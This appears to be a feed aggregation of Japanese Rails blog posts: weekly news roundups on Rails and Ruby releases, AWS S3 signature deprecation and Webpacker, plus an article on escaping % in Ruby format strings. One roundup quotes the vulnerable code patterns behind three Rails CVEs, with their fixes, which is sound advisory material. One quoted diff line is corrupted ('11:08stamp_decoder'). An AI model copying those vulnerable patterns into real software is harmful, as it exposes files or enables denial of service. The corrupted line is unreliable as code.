Railsガイドの更新ですが、コミットメッセージに「#31221はPostgreSQLとpgpoolにおいて(いい意味で)非常に影響が大きいのに5.2リリースノートに書かれてないのがもったいないので」「#31221より前はスレッドプールやPumaワーカーなど広範囲でコネクションがお漏らししないようものすごく注意深くやらなければならなかった」だそうです。


つっつきボイス:「過去のリリースノートの更新って新しい😆」「そういえば一昨年のウォッチ((ウォッチ0171201))でも#31221を取り上げてました」「例のReaper(ウォッチ20190115)が不要なコネクションを刈り取ってくれるんでしたっけ」

「上のコミットメッセージで自らhonorable mention↓と書かれているので、番外らしくていいかなと😆

honorable mention: 選外佳作、等外賞

⚓Rails

⚓AWS S3 APIリクエスト認証の署名バージョン2以下が6月に終了

署名バージョン 2 から署名バージョン 4 への移行
Amazon S3 API リクエスト認証に署名バージョン 2 を現在使用している場合は、署名バージョン 4 の使用に移行する必要があります。「Amazon S3 における AWS 署名バージョン 2 の廃止」で説明するように、署名バージョン 2 のサポートは終了します。
同記事より

参考: aws-sdk-ruby/CHANGELOG.old.md at master · aws/aws-sdk-ruby


つっつきボイス:「今日これでSlackがざわついてましたね」「これはまだ調査中なんですが、自分たちWebチームにとって割と影響が大きい🥶: なにしろ扱っているWebサービスが(Rails以外も含めて)いっぱいあって、どのアプリがどんな影響を受けるかを調べるところからやらないといけないので💦」「古いアプリでRubyバージョンとかgemの依存関係あたりが絡んでくると厄介そうですね」


docs.aws.amazon.comより

「AWS CloudTrailを使うと古いAPIを使っているか調べられるようで、どうやら署名バージョンの項目もあるっぽい」

参考: AWS CloudTrail (AWS API の呼び出し記録とログファイル送信) | AWS

「幸いfogというgemはかなり前からv4署名を使ってるようなので、fogを使うcarrierwaveでは大きな心配はなさそう」

参考: fog-aws/signaturev4.rb at master · fog/fog-aws

⚓Rails 6の新しいメソッド4つ(RubyFlowより)

Array#including
Array#excluding
Enumerable#including
Enumerable#excluding

# https://github.com/rails/rails/commit/bfaa3091c3c32b5980a614ef0f7b39cbf83f6db3#diff-e3d63442dcd5dc00aa09c82c7daa4934R41#L
  #   people = ["David", "Rafael", "Aaron", "Todd"]
- #   people.without "Aaron", "Todd"
+ #   people.excluding "Aaron", "Todd"
  #   # => ["David", "Rafael"]

つっつきボイス:「DHH自らの追加なんですね」「Array#withoutEnumerable#withoutをリネームしてArray#excludingEnumerable#excludingにしたのか」「リネームしたお気持ち、何となくわかります: withoutだと引数との関係がふわっとしててどういう意味なのか考えちゃうので」「たしかに〜」「withoutと逆の動作をwithにするのもどうかと思うし」

[ 1, 2, 3, 4, 5 ].without(4, 5)
#=>  [1, 2, 3]


[ 1, 2, 3, 4, 5 ].excluding([4, 5])
#=>  [1, 2, 3]

そういえば英語のwithとかwithoutは割とどこにでもくっつけられるので、意味があいまいになりやすいですね。有名な例ですが、『I saw a girl with a telescope.』という文章は、コンテキストがなければ以下のどちらとも受け取れます。日本語で「の」を2つ以上使うと係り受けのスコープが怪しくなるのと少し似ているかもしれません。

  • 私は、ある女の子を望遠鏡越しに見た。
  • 私は、望遠鏡を持っている女の子を1人見かけた。

参考: 東芝デジタルソリューションズ|The翻訳プロフェッショナル — 『I saw a girl with a telescope.』を機械翻訳で回避するテクニックが紹介されています。

⚓2009年のRailsエコシステム


つっつきボイス:「このツイートとトピックは昨日安川さんに教えていただきました🙇」「☺



同スライドより

「このスライドは200ページ超えですが、この頃のa_matsudaさんはまだコミッターではなかったとか、今はなきMerbも登場してたりと色々楽しめます😋

参考: MerbがRails 3に統合、人気Rubyフレームワークが合体へ - ITmedia エンタープライズ

実はこのページ↓を見るの初めてでした。スライドでは当時のコアメンバーが紹介されていましたが、以下は現時点の最新です。

「今回上のスライドをご紹介したのは、言ってみればRails考古学とでも言うべきシリーズ記事があってもいいんじゃないかと思ったのがひとつありまして☺」「今Railsガイド3.2以前のリリースノートを私が翻訳中なんですが、訳していて『あー、この機能はこの時期に登場したのか』とか『当時はもてはやされたけど後につまづきの元になってたりするな』なんていうのがあって面白いんですよ」「そんな感じで、現在の視点から見た過去のRailsの変遷はいいコンテンツになるんじゃないかと思って」「タイムスリップ的な」「タイムマシンで当時の自分に教えたいみたいな😆」「😆

参考: Ruby on Rails ガイド:体系的に Rails を学ぼう


railsguides.jpより

「今のところRails考古学を冠した記事はTakeuchiさんの以下の記事ぐらいしかなさそうなので」「何なら共同で作っていってもいいですし☺」(以下延々)

参考: Rails考古学:WebAPIを取り巻く環境の変化とRailsの対応 - Qiita

⚓strong parametersをバリデーションする(RubyFlowより)

# 同記事より
class Api::RoomsController < ApplicationController
  class UnpermittedParameterValue < RuntimeError
    def initialize(parameter:, value:)
      @parameter = parameter
      @value = value
    end
    attr_reader :parameter, :value
  end
  rescue_from UnpermittedParameterValue, with: :invalid_parameters
  def create
    validate_create_params
    Room.create!(create_params)
  end
  private
  # Could be extracted to a dedicated class within e.g. Validation module.
  # Validation checks should support all the permitted parameters; below
  # only owner_type parameter is handled.
  def validate_create_params
    owner_type = create_params[:owner_type]
    raise UnpermittedParameterValue.new(parameter: :owner_type, value: owner_type) if !Set['Company', 'Person'].include? owner_type
    # and so on...
  end
  def invalid_parameters(exception)
    render json: { errors: { exception.parameter => "'Value #{ exception.value }' is not supported value for the parameter." } }, status: 400
  end
  def create_params
    params.require(:room).permit(:owner_type, :owner_id, :floor, :price)
  end
end

つっつきボイス:「コントローラのstrong parametersをバリデーションする話だそうです」「たしかにstrong parametersはパラメータのフィルタ機能であってバリデーションではありませんしね」

参考: Strong Parameters — Action Controller の概要 - Rails ガイド

「普通ならモデルでバリデーションしますが、RailsをAPIサーバーとして使う場合はこの記事みたいにコントローラでバリデーションさせることでAPI仕様と挙動を一致させやすくなるでしょうし: つか記事でそのあたりをやってるみたいですし」「そうでした💦

「で記事ではバリデータを素で書くほかに、apipie-railsというgemでもやってますね」「あぴぱい?」

# 同記事より
class Api::RoomsController < ApplicationController
  api :POST, "/rooms", "An end-point used for creating new rooms in the system. Standard basic auth is required."
  formats ['json']
  error 401, "Unauthorized"
  error :unprocessable_entity, "Could not create the room."
  param :room, Hash, desc: "Room details" do
    param :owner_type, ["Company", "Person"], desc: "Owner of the room", required: true
    param :owner_id, :number, desc: "ID of the room's owner", required: true
    # Below a simple ':number' validation is used. It could be extended to allow only supported floor e.g. from 1 to 12.
    param :floor, :number, desc: "Floor on which the room is located", required: true
  end
  def create
    Room.create!(create_params)
  end
  private
  def create_params
    params.require(:room).permit(:owner_type, :owner_id, :floor)
  end
end

⚓対決!Action Cable vs AnyCable


anycable.ioより

AnyCableは一昨年にウォッチで軽く取り上げていました(ウォッチ20170210)。上のAnyCableサイトを下にスクロールしたときのサイコロくんの動きがかわゆいです❤


つっつきボイス:「Action CableとAnyCableの比較記事です」「AnyCableは使ったことないな〜」「とりあえず大規模になったときのパフォーマンス面ではAnyCableの方が強いっぽいですね」


同記事より

「何やかんやで、Action Cableという機能が公式にRailsに入っているというのは大きいと感じますね: プロトタイピングのために短期間で動くものを作るんだったらAction Cableは手間が少なくてとても助かります😍」「Action Cableならモデルに保存するのも楽ですし」「そのかわり、それがそのまま本稼働してユーザー数が爆発的に増えてくると苦しくなってくるという😆」「😆」「まあそこは設計上というかビジネス上の決断でしょうね」

「規模が大きくなってくると、モノリシックなRailsサーバーでバックエンドとAction Cableを両方動かすのはちょっと心配ではありますね」「死ぬときはいっぺんに死んでしまいますからそうですね: ささやかにやってるうちはいいんですが」「分けたらそれはそれでデプロイとか面倒になりますけど😆」「😆

⚓1年前からあったSprocketsのバグを潰した話(Ruby Weeklyより)

Herokuの動画付きブログです。


つっつきボイス:「あ、動画のサムネイル見たらSchneemanさん↓の記事だった」「bundle open sprocketsでgemのソースを一発で開けるんですって」「え?!知らなかった〜」「bundlerは他にもいろいろ機能があったと思います☺

ガイジン向けRubyKaigiガイド(翻訳)

後でbundle installしてあるディレクトリでbundle open pryすると確かに開きました👍

参考: bundle open | Bundler日本語ドキュメント | Ruby STUDIO

[Ruby] Bundler 1.15の全コマンド

⚓Railsアプリをわずか数行のRubyコードに置き換えてやった(Ruby Weeklyより)

# 同記事より
# bin/entrypoint

require_relative "../lib/push_event"

file_path = ARGV.first
push_event = PushEvent.new(File.read(ENV.fetch("GITHUB_EVENT_PATH")))

if push_event.modified?(file_path)
  puts "#{file_path} was modified"
  exit(0)
else
  puts "#{file_path} was not modified"
  exit(1)
end

同記事より


つっつきボイス:「これは何を使ってやってるのかな?」「どうやらGitHub Actions使ってるみたいです」「GitLabにもその前から同じような機能『GitLab Pipelines』がありますね(ウォッチ20181022): アクションを組み立ててワークフローにする的なヤツ🧱」「お、面白そうですね〜: 今度使ってみようかな😋」(以下延々)

参考: GitHub Action for Slack · Actions · GitHub Marketplace


github.comより

参考: Introduction to pipelines and jobs | GitLab


docs.gitlab.comより

⚓その他Rails

そういえば以前のウォッチでも取り上げました(ウォッチ20171208)。


今回は以上です。

バックナンバー(2019年度第1四半期)

週刊Railsウォッチ(20190305-2/2後編)PostgreSQL強者から見たMySQL、SEO良記事、分散アルゴリズムChordほか

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやはてブやRSSやなど)です。

Ruby 公式ニュース

Rails公式ニュース

Ruby Weekly

RubyFlow

160928_1638_XvIP4h

Ruby: 文字列の書式設定では引用符内で書式設定以外の`%`記号を`%%`とエスケープすること

$
0
0

ある日のSlackにて

前振り1: Rubyの%記号と式展開

今回の記事を書くために、まず%(パーセント)記号と式展開についてそれぞれ別記事にまとめましたので先に以下をご覧ください。そうしないと自分が混乱してしまうので。

Ruby: パーセント記号 `%` の使い方まとめ

Rubyの式展開(string interpolation)についてまとめ: `#{}`、`%`、Railsの`?`

前振り2: sprintfString#%メソッドを使う場合の%文字のエスケープ

この部分はRubyのバージョンに限らず共通です。

RubyのsprintfString#%メソッドを用いて書式設定を行う場合、引用符内で%そのものを出力したい場合は%%とすることでエスケープされます(エラーメッセージでも%%を使えと書かれてますね)。面白いことに、%%による%のエスケープは二重引用符でも一重引用符でも使えます。本記事では簡単のためString#%メソッドのみを用いています。

'%0.0f%%' % 45    #=> "45%"
"%0.0f%%" % 45    #=> "45%"

# 機能と関係ない%はエスケープしないとエラーになる
'%0.0f%' % 45     #=> ArgumentError: incomplete format specifier; use %% (double %) instead

逆に、バックスラッシュ%では二重引用符/一重引用符にかかわらず、%をエスケープできません。

"%0.0f%" % 45    #=> ArgumentError: incomplete format specifier; use %% (double %) instead
`%0.0f%` % 45    #=> ArgumentError: incomplete format specifier; use %% (double %) instead

ただしsprintfString#%メソッドを使っていなければ、二重引用符内で通常どおり%でエスケープできます。もちろん一重引用符では式展開もエスケープも無効になります。おなじみの挙動ですね。

value = 0.0
"#{value}%"      #=> "0.0%"
'#{value}%'      #=> "#{value}\%" (一重引用符なのでエスケープされない)

前振り3: SQLのLIKEで使われる%

さらにややこしいのが、SQLのLIKEでは%を一種のワイルドカード的に使えるという点です。

SELECT id FROM users WHERE name LIKE '%name%';

上はnameカラムが「なんちゃらnameなんちゃら」の行を取得します。「なんちゃら」は長さゼロも含みます。

Ruby 2.5で何が変わったのか

いろいろ書きましたが、Ruby 2.5で引用符内の%の挙動が変わったのはsprintfに関連する場合です(String#%で書式を設定する場合を含む)。

とりあえず以下の3つの場合が考えられます(簡単のためString#%の書式に揃えました)。

 # 1. 名前なし/順序のみの引数指定
'%%%d%%' % 99                    #=> "%99%"

# 2. 名前付き変数のハッシュでの指定(書式あり)
'%%%<value>d%%' % { value: 99}   #=> "%99%"

# 3. 名前付き変数のハッシュでの指定(書式なし)
'%%%{value}%%' % { value: 99}    #=> "%99%"

2.と3.の名前付き変数はハッシュ{ 変数: 値}で渡すことになっています。また、3.の%{名前付き変数}では書式は設定できないので、実は普通の式展開でやっても同じだったりします。詳しくは以下の記事をご覧ください。

Ruby: パーセント記号 `%` の使い方まとめ

ここまでを押さえたところで、冒頭のSlackに出てきたRubyコードを再録します。

Ruby 2.4.x以前の場合

'%%%{text}%' % { text: "aaa" }

%は左から順に以下の意味になります。

  • %%: SQLで使う
  • %{text}': 式展開の一種({ }なので書式は指定できない)
  • %: SQLで使う
  • %: String#%メソッド(書式設定用)

上ではSQLで使う%%%がどちらも使えてしまっている点にご注目ください。後述のツイートにあるように、これは本来の挙動ではありませんでした。ここでは%の後ろがたまたま%'だったおかげで、%が書式設定用ではないとRubyに認識されただけと考えられます。

したがって、以下のようにエスケープなしの%の後ろに文字があるとエラーになります。

'%%%{text}% decimal' % { text: "aaa" }  #=> ArgumentError: unnumbered(1) mixed with named
'%%%{text}%です' % { text: "aaa" }       #=> ArgumentError: unnumbered(1) mixed with named

つまり、String#%で書式を整える場合は、Rubyのバージョンにかかわらず、エスケープなしの%を引用符に書かない方がよいということになります。引用符内の単独の%は、Rubyのバージョンや文字列内の位置で挙動が変わるので当てにしない方がよいと思います。

Ruby 2.5以降の場合

'%%%{text}%%' % { text: "aaa" }

%は左から順に以下の意味になります。

  • %%: SQLで使う(%%としてエスケープしなければならない)
  • %{text}': 式展開の一種({ }なので書式は指定できない)
  • %%: SQLで使う(%%としてエスケープしなければならない)
  • %: String#%メソッド(書式設定用)

Ruby 2.4.x以前との違いは、%%というエスケープが必須になったことです。

'%%%{text}% decimal' % { text: "aaa" }  #=> ArgumentError: unnumbered(1) mixed with named
'%%%{text}%です' % { text: "aaa" }       #=> ArgumentError: unnumbered(1) mixed with named

ここからわかるように、引用符内では書式設定と無関係な%常に%%とエスケープすることで、バージョンや位置にかかわらず問題なく動作するようになります。

結論

String#%で書式を整える場合は、Rubyのバージョンにかかわらず、引用符の中で書式設定と無関係な%%%とエスケープすること。

あーややこしかった。

おまけ

↑やはり2.5で挙動が修正されたそうです。「ハッカソンのプルリク」がどれなのかはわからずじまい😭。記号はほんとググりにくい。

参考: バージョンごとの挙動

Rubyのバージョンごとの挙動を改めて調べてみました。

以前の挙動

  • Ruby 2.1.10
  • Ruby 2.2.10
  • Ruby 2.3.8
  • Ruby 2.4.4
'%%%%{text}%' % { text: "aaa" } # 1つ目のエスケープに余分な%がある
#=> "%%{text}%"

'%%%{text}%' % { text: "aaa" }  # 1つ目だけをエスケープ
#=> "%aaa%"

'%%%{text}%%' % { text: "aaa" } # 1つ目と2つ目をエスケープ
#=> "%aaa%"

現在の挙動

  • Ruby 2.5.3
  • Ruby 2.6.0、2.6.1
'%%%%{text}%' % { text: "aaa" }
# Traceback (most recent call last):
#        3: from /Users/hachi8833/.rbenv/versions/2.5.3/bin/irb:11:in `<main>'
#        2: from (irb):1
#        1: from (irb):1:in `%'
# ArgumentError (incomplete format specifier; use %% (double %) instead)

'%%%{text}%' % { text: "aaa" }
# Traceback (most recent call last):
#        3: from /Users/hachi8833/.rbenv/versions/2.5.3/bin/irb:11:in `<main>'
#        2: from (irb):3
#        1: from (irb):3:in `%'
# ArgumentError (incomplete format specifier; use %% (double %) instead)

'%%%{text}%%' % { text: "aaa" } #=> "%aaa%"

3つの中では、適切にエスケープした'%%%{text}%%' % { text: "aaa" }だけがすべてのRubyバージョンで正常に動作します。

週刊Railsウォッチ(20190318-1/2前編)RailsとRubyでセキュリティ修正リリース、Rails 6でinsert_allやupsert_all追加、Webpacker 4登場ほか

$
0
0

こんにちは、hachi8833です。World Wide Web生誕30周年おめでとうございます。


つっつきボイス:「歴史だ⛩」「そうそう、もう30周年か」「↑このTシャツ素敵すぎ😍」「ふと見渡してみると、今日のつっつきに集まっているのは、お〜うまい具合に20代、30代、40代、50代とWebの歴史を4世代でひととおり網羅してる感😆」「カバレッジは完璧😆」

  • 各記事冒頭には⚓でパーマリンクを置いてあります: 社内やTwitterでの議論などにどうぞ
  • 「つっつきボイス」はRailsウォッチ公開前ドラフトを(鍋のように)社内有志でつっついたときの会話の再構成です👄
  • 毎月第一木曜日に「公開つっつき会」を開催しています: お気軽にご応募ください

週刊Railsウォッチ「公開つっつき会」第9回開催のお知らせ

次回の公開つっつき会は4/4(木)です。皆さまのご応募をお待ちしております!🙇

WWW生誕30周年よもやま話

今回のつっつきでは秘密のゲストがお見えになりました。

「では早速、ネットに最初に触ったのは?」「本格的に使ったのは大学に入った1997年かなー: あの頃はSun OSもあったし」「お〜なるほど!」「高校のときにWindows 3.1をインストールしましたね: フロッピー30枚ぐらいあったかな😆」「私はマカーだったせいでMS-DOSとWin3.1がすっぽり抜け落ちてて、Windows は95から初めて触りました」「自分の高校にはWindows 95入りのPCあった〜、ディスク20枚ぐらいで😆」

「20代だとフロッピーって見たことあります?なんて😆」「ありますっ😆」「お〜、じゃフォーマットしたことは?」「それは🤣」「🤣」「🤣」「フロッピー、家に普通にありましたし」「ファミコンディスクシステム↓とかじゃなくて?🤣」「店頭でディスク書き換えるヤツ🤣」「4世代カバーしていると面白い〜😆」

ファミリーコンピュータ ディスクシステム - Wikipedia

「50代だとやっぱりパソコン通信が最初みたいな?」「ですです: モデムNiftyServeやってましたし、インターネットは某客先で監禁されてたときにそこの人がモノクロMacでMOSAIC(最初のWebブラウザ)を見せてくれたのが最初でした」「いつ頃?」「思い出した、オウム真理教の大事件の頃でした: あのニュースが大量に流れたせいでそこのサーバーがパンクしたんだった😇」「じゃ1994年か95年頃!」「歴史や…」「30代だけどWindows 95でインターネットに触れたので逆にパソコン通信を知らない😆」「20代の人も知らないよねパソコン通信?」「知らないですー😆」「知ってたらコワい😆」

もう使い道がありませんが、当時の英語圏のパソコン通信((AOLとかCompuServe↓とか)はひっくるめてonline servicesと呼ばれてました👴。当時は海外への電話代が高値だったので、英語圏とチャットするとか当時学生だった自分には到底無理でした。

臨時ニュース3本

1: Railsでセキュリティ修正リリース

3つの修正についてはアップグレードの他に緊急用のパッチも提供されています。詳しくは必ずリンク先を参照してください。

後述しますが、つっつき後にもさらにRuby 2.5.5アップデートが来ててんてこ舞いでした😭。私も一応オレオレRailsアプリのRailsとRubyのアップグレードを完了しました。


つっつきボイス:「お、例のRailsセキュリティ修正」「Rubyもアップデート来てます」「3月半ばでbeta3ってことはスケジュール的に順調な方なのかな?」「4月末のRailsConf 2019がファイナル目標ですね↓」「ならbeta4とか5ぐらいまでいくかも😆」

参考: Timeline for the release of Rails 6.0 | Riding Rails


rubyonrails.orgより

「Railsはだいたいリリースが後ろにずれ込むものなので😆」「もうみんなわかってるし☺️」「リリースを急いでバグ埋め込むよりその方がいいですし☺️」「RC2とかまで進んだところで微妙に機能修正が入ったりなんてこともありえるし😆」「リリース直後のRailsは基本人柱として使うぐらいの勢いで」

⚓CVE-2019-5418: render file:の脆弱性

render file:を使うとAction Viewで任意のファイルが露出する可能性。

class UserController < ApplicationController 
  def index 
    render file: "#{Rails.root}/some/file" 
  end 
end 

以下のようにすることで回避可能。file:以外のrenderは影響を受けない。

render file: "#{Rails.root}/some/file", formats: [:html] 

つっつきボイス:「render file:ってそもそもあんまり使わないけど😆、ディレクトリトラバーサル的なことができちゃう脆弱性ってことかな?」「かなと思いました」「任意のファイルって時点でたしかにあかん😇けど、CVE見てみるとcontent disclosureと記述されてる」

参考: ディレクトリトラバーサル - Wikipedia

「ところで脆弱性関連でcontent disclosureって用語あったかなー?」「あーどうでしたっけ?」「手元でググった感じではこのAction View以外に出てこないようなので、どことなく造語か何かの匂いがする🤔」「ここではおそらくディレクトリトラバーサル的な意味で使われてるっぽい🤔」

後で調べてみると、content disclosureは「情報の(公式な)開示」のような割と一般的かつポジティブな言葉として使われる方が多いようです。コンテンツお漏らしのようなネガティブなニュアンスだと、今思いつくのはleakとかexposureあたりでしょうか。

参考: disclosure content — コーパスでの用例です

CVE-2019-5419: Action ViewがDOS攻撃を受ける可能性

コントローラで以下のような暗黙のレンダリングが影響を受ける可能性がある。

class UserController < ApplicationController 
  def index 
  end 
end 

つっつきボイス:「説明用のサンプルコード↓がぱっと見ループしそう」「CPUが100%になるということだからDoS攻撃でしょうね: こんなコード書かないけどっ😆」「やってみたらすぐわかるでしょうし😆」

# CVE-2019-5419より
class UserController < ApplicationController 
  def index 
    render "index" 
  end 
end 

「でもこうやって↓書くとvulnerableじゃないのか!へ〜」「respond_toがポイントなのかしら」「どっちにしろこんなの書かないし😆」

# CVE-2019-5419より
class UserController < ApplicationController 
  def index 
    respond_to |format| 
      format.html { render "index" } 
    end 
  end 
end 

vulnerable(脆弱な)はセキュリティ方面で多用されている堅苦しい言葉ですが、元々軍事や諜報で昔から使われてるような趣です。やはりラテン語が起源でした↓。自分の場合、一部の心理学だか文化人類学だかで「いじめられっ子オーラ」的なものをvulnerability(攻撃誘発性)と呼んでいたのを見たのが最初でした。

参考: vulnerable | Origin and meaning of vulnerable by Online Etymology Dictionary

CVE-2019-5420: developmentモードで生成された秘密鍵が推測される可能性

秘密鍵が推測されるとリモートコード実行の可能性。Railsをアップグレードするか、config/environments/development.rbに以下を記述することで回避可能。

config.secret_key_base = SecureRandom.hex(64) 

つっつきボイス:「まdevelopmentモードだし😆」「よほど下手打たない限りは😆」「上でSecureRandomを使っているのは、(Rubyの素の)#randRandomを使うなという、セキュリティ方面でよく言われる話でしょうね」

参考: 2.2 セッションID — Rails セキュリティガイド - Rails ガイド — RailsのセッションIDはSecureRandomで生成されているという解説
参考: What is so “secure” about SecureRandom? – Christian Blais – Medium

Rubyの素の#randRandomによる乱数生成は素朴なので、外部から推測されてしまう可能性があります。お遊び以外では使わないようにしましょう⛔️。

参考: 乱数について CapmNetwork
PDF: デタラメさの効用と、1+1=0の世界

臨時ニュース2: Rubyのセキュリティ修正がリリース

この間のRubyGemsの問題の修正の他にも細かな修正や変更が含まれています。その中にさらっとUNICODE 12対応が含まれていました。

# common.mk#L18
-UNICODE_VERSION = 11.0.0
-UNICODE_EMOJI_VERSION = 11.0
+UNICODE_VERSION = 12.0.0
+UNICODE_EMOJI_VERSION = 12.0
UNICODE_BETA = NO

つっつきボイス:「Ruby 2.6が早くも2.6.2」「早いな〜」「内容はこの間のRubyGems修正を正式に導入した感じですね」「おーUnicode 12も入ってるし😍」「これでRubyで使える絵文字がまた増える😋」

「こういうのはRubyが一番熱心ですよね」「日本人が多い言語だと対応が進みやすい傾向があるかも、なんて😆」

臨時ニュース3: Ruby 2.5.5がリリース

このリリースにはマルチスレッドとマルチプロセス(Process.fork)を利用したアプリケーション(例: puma)でデッドロックが発生することがある不具合の修正が含まれています。

同リリースノートより

Rails: 先週の改修(Rails公式ニュースより)

リリースが近いせいか、以下のようなドキュメントの更新が中心のようです。


つっつきボイス:「小さな修正ですが、painfullyという文言は余計だろうということだそうです」「あ〜なるほど!」

修正前: Setting this up is painfully simple.
修正後: Setting this up is simple.

元をあえて日本語で表すと「嫌になるほどシンプル」みたいな感じでしょうか。

Zeitwerkにカスタムinflectorを追加

# activesupport/lib/active_support/dependencies/zeitwerk_integration.rb#L58
          def setup_autoloaders
-           Rails.autoloaders.each do |autoloader|
-             autoloader.inflector = Inflector
-           end

            Dependencies.autoload_paths.each do |autoload_path|
              # Zeitwerk only accepts existing directories in `push_dir` to
              # prevent misconfigurations.
              next unless File.directory?(autoload_path)
              if autoload_once?(autoload_path)
                Rails.autoloaders.once.push_dir(autoload_path)
              else
                Rails.autoloaders.main.push_dir(autoload_path)
              end
            end
            Rails.autoloaders.each(&:setup)
          end

つっつきボイス:「Zeitwerkの最適化っぽい: 上の部分が要らないので削除したというか」「オートローダーが変わるとやっぱりいろいろ起きるんだな」

SafeBufferのスライスassingmentをサポート

# activesupport/lib/active_support/core_ext/string/output_safety.rb#L202
-   def []=(index, value)
-     super(index, html_escape_interpolated_argument(value))
+   def []=(*args)
+     if args.count == 3
+       super(args[0], args[1], html_escape_interpolated_argument(args[2]))
+     else
+       super(args[0], html_escape_interpolated_argument(args[1]))
+     end
    end

つっつきボイス:「if args.count == 3で引数が3つの場合にSafeBufferが部分文字列を出すように変わったのか、なるほど」「スライスってそういう意味だったんですね!」「文字列のスライスといえば、だいたい部分文字列の切り出しとか分割ですね🧐」

add_pg_decoderのバグを修正

# activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb#L242
      def initialize(connection, logger, connection_parameters, config)
        super(connection, logger, config)
        @connection_parameters = connection_parameters

        # @local_tz is initialized as nil to avoid warnings when connect tries to use it
        @local_tz = nil
-       @default_timezone = nil
-       11:08stamp_decoder = nil
        @max_identifier_length = nil

        configure_connection
        add_pg_encoders
        add_pg_decoders
        @type_map = Type::HashLookupTypeMap.new
        initialize_type_map
        @local_tz = execute("SHOW TIME ZONE", "SCHEMA").first["TimeZone"]
        @use_insert_returning = @config.key?(:insert_returning) ? self.class.type_cast_config_to_boolean(@config[:insert_returning]) : true
      end
...

        def add_pg_decoders
+         @default_timezone = nil
+         @timestamp_decoder = nil
+

古くなった@default_timezonedisconnect!後のreconnect!でエラーになることがあったのを修正。
同コミットより大意


つっつきボイス:「いかにもぽすぐれ関連の修正: やっぱりkamipoさん?」「ですです🎯」「この謎バグよく見つけたな〜って思うし🤓: さすが『kamipoさんはすごい人』とテンプレにまでなってる人」

本当にありました↓。

参考: ハッシュタグ #kamipoさんはすごい人

新機能: insert_many系メソッドが追加

以下の記事で知りました。

# 同PRより
# Insert multiple records, performing an upsert when records have duplicate ISBNs
# ('Eloquent Ruby' will overwrite 'Rework' because its ISBN is duplicate)
Book.upsert_all([
  { title: 'Rework', author: 'David', isbn: '1' },
  { title: 'Eloquent Ruby', author: 'Russ', isbn: '1' }
],
   unique_by: { columns: %w[ isbn ] })

以下が追加されました。

  • insert_all
  • insert_all!
  • upsert_all

つっつきボイス:「おぉ、これは欲しい人いそう❤️」「そういえばこの間activerecord-importでいろいろやってたのを見かけたので、もしかするとそのときに欲しかったんじゃないかなーって😆」

insert_allもあるし」「upsert_allもあると確かにうれしい😋」「upsert_allがRailsのレイヤでサポートされてるとありがたい🙏」

「UPSERTって、UPDATEとINSERTの合わせ技でしたっけ」「なければINSERT、あればUPDATEしてくれるヤツ💪」「知らない世界…🥺」「最初は『へー、そういうのをUPSERTって言うんだ〜』と思ってましたが、あちこちで使われるようになってきたのでそろそろ一般化したと思ってよさそう」

参考: PostgreSQL UPSERT の機能と使い方 - ベストプラクティス| Alibaba Cloud ドキュメントセンター

「そういえばMySQLだとREPLACE文で同じことができる↓」「以前のPostgreSQLだとINSERTとかでWITHを使う↓みたいな感じで、RDBMSによってとにかくやり方がまちまち😅」

参考: MySQLでバルクアップデートを実現するには - Qiita
参考: 7.8. WITH問い合わせ(共通テーブル式) — PostgreSQL 10.5

UPSERT的な処理は業務アプリで必ずといっていいほど使うのでうれしい機能🥰: findして見つかったらそれで更新かけるとか死ぬほど書いたし🤓」

番外: Railsのデフォルトログレベルは4.2からdebug

# guides/source/debugging_rails_applications.md#L141
This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information.

-TIP: The default Rails log level is `info` in production mode and `debug` in development and test mode.
+TIP: The default Rails log level is `debug` in all environments.

つっつきボイス:「これは今日のチームミーティングで軽く話題になったやつですね」「ですです: Railsのデフォルトのproductionログレベルって何だっけというお話でしたね: あの後調べたらy-yagiさんが4.2でRailsガイドを更新してくれてました」「productionのログレベルはinfoだと思ってたらいつの間にかdebugだったという😆」

「実は日本語版Railsガイドでは少し前までこの部分が更新されてなかったんですが、diffベースで差分翻訳する体制になる前の名残だったので追いきれてなかったという😅: それをここ半年で5.2キャッチアップ翻訳をかけたときに全ページを目で照合してやっと更新を拾い上げました↓」


Rails アプリケーションのデバッグ - Rails ガイドより

Rails

Webpacker 4.0がついにリリース(Ruby Weeklyより)

よく見ると、もう4.0.2なんですね。


つっつきボイス:「本家Webpackとのバージョン齟齬がつらかったWebpackerが、やっと4.0になりました😂」「Webpackが4.0になってからWebpackerが4.0になるまでどのぐらい空いたんだろか😆」「今Webpackerのバージョンを上げるといろいろ変わりそうでコワい😨」

「今さらですけど、WebpackerがRails用で、Webpackは汎用みたいな位置付けでよかったんでしたっけ?」「ですね: Webpackerはgemで、WebpackはnpmとかでインストールするJavaScriptのライブラリ」


webpack.js.orgより

調べてみると、Webpack 4.0.0リリースは2018年2月↓なのでほぼ1年かかりましたね。そしていつの間にかWebpackは5.0.0のアルファ版がだいぶ進んでいます。

参考: Release v4.0.0 · webpack/webpack
参考: Release v5.0.0-alpha.11 · webpack/webpack

【保存版】Rails 5 Webpacker公式ドキュメントの歩き方+追加情報

monday.com: タスク管理サービス

RailsとBootstrap 4感出てますね。



monday.comより

参考: 【各社員の業務を見える化】シンプルで使いやすいタスク管理ツール「monday.com」


つっつきボイス:「Chromeのwappalyzer拡張によると、monday.comはどうやらRailsでできてるっぽいのでここに置いてみました: タスクの更新や移動がやりやすくて、BacklogやTrelloよりよさげと言ってたので」「この種のサービスはそれこそ無限にありますから😆」

「タスクやプロジェクトの管理サービスでRailsで書かれているといえば、考えてみたらほら、アレがあるじゃないですか😎」「アレ?」「Basecamp」「あぁ!そういえば😳」「RailsユーザーならDHHのお膝元のコレでしょう🤣」「みんな使えと🤣」「名前しか聞いたことなかった…」「Basecampがどういうサービスなのか今までまるで気にしてなかった😅」


今更のようにサイトをちょっとだけ触ってみると、表示や応答がめちゃ高速ですね。

「改めて説明すると、BasecampはRailsの作者であるDHH↓がいる会社です」「Railsは見ようによっては、DHHがBasecampで欲しい機能をRailsに入れているとも言える😆」「なので、Basecampを見ればRailsにどういう機能があるかがよっくわかる🤣」「🤣」

DHHはレーシングマニアとしても有名です(@dhhracing)。

「Basecamp、日本で使ってる人いるんでしょうか?」「見かけないな〜」「考えてみたらRailsの本家本元なのに、Railsフレームワークと比べてBasecampのサービスって日本だとあまり見かけない感じですね」「英語圏ならきっとプレゼンスそれなりにありそうですけど」「ちょっと試してみたいですね」

featuresを見ながら)「そうそうBasecampのサービスにはチャット機能なんかも統合されてるんですよ: 自分はSlackにずっぽりだからチャットあまり変えたくないけど」「こうしてみると、Railsらしいモノリシックな作りになってるなと思いますね」

